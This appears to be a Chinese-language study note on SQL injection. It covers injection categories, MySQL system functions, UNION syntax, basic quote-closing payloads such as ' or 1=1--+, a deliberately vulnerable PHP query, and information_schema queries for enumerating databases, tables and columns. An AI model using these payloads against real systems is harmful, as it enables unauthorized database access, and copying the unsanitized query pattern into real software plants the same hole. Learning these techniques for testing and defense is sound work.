文章目录
- 一、注入的分类
- 1.基于服务器收到的响应
- 2.基于处理输入的SQL查询(数据类型)
- 3.基于程度和顺序的注入(哪里受了影响)
- 4、基于注入点位置
- 二、系统函数
- 1.字符串连接函数
- 2.一般用于尝试的语句
- 3.union操作符的介绍
- 总结
一、注入的分类
1.基于服务器收到的响应
- 基于错误的SQL注入
- 联合数据类型
- 堆查询注入
- SQL盲注(时间,布尔,报错)
2.基于处理输入的SQL查询(数据类型)
- 字符串
- 数字或整数
3.基于程度和顺序的注入(哪里受了影响)
- 一阶注入
- 二阶注入
一阶注入直接对web产生影响,二阶注入间接对web产生影响
4、基于注入点位置
- 表单域的位置注入
- cookie注入
- 通过服务器变量(基于头部信息的注入)
二、系统函数
version()
—mysql的版本号user()
—用户名database()
—数据库@@datadir
—数据库路径@@version_compile_os
—操作系统版本号
1.字符串连接函数
concat(str1,str2,....)
没有分割符的连接字符串concat_ws(separet,str1,str2...)
有分割符的连接字符串group_concat(str1,str2...)
连接一个组的所有字符串并用逗号隔开
2.一般用于尝试的语句
--+可用#来代替
#编码后的结果是%23- or 1=1–+
- ’ or 1=1–+
- " or 1=1–+
- ) or 1=1–+
- ') or 1=1–+
- ") or 1=1–+
- ")) or 1=1–+
一般的代码格式为:
$id=$_GET['id']
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
一般考虑闭合前面的’
或者闭合后面的‘
,一般采用两种思想闭合后面的引号或者注释掉,注释采用
--+或#(%23)
。
3.union操作符的介绍
union操作的符用于合并两个或多个select语句,两个语句的操作符需要拥有相同的列和数据类型。
SQL UNION语法
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name
注释:默认选取不重复的值,如果想要重复的值使用union all
SQL 中的逻辑运算
举出一个例子进行说明:
select *from spirt where users="hello" and password="" or 1=1--+
and的优先级高于or,users and password =false而or 1=1恒为真。所以结果就恒为真了。
- select *from user where id=1 and 1=1;
- select *from user where id=1 && 1=1;
- select *from user where id=1 & 1=1;
上面1和2是一样的,3是按位相与
。(&的优先级大于=)
注入流程
以下简述mysql的一些基本操作,用来检查数据库中的基本内容信息。
show databases;//检查有哪些数据库
use security;//使用security数据库
show tables;//查看security数据库中有哪些表
desc mails;//查看这个表的结构
mysql中有一个information_schema,存储着所有的数据库的相关信息。
一般我们利用该表可以进行一次完整的注入。
猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
selece table_name from information_schema.tables where table_schema="";
猜某表对所有列
select column_name from information_schema.columns where table_name="";
获取某列的内容
select *** from ***;
总结
原谅我这一生不羁放荡来自由。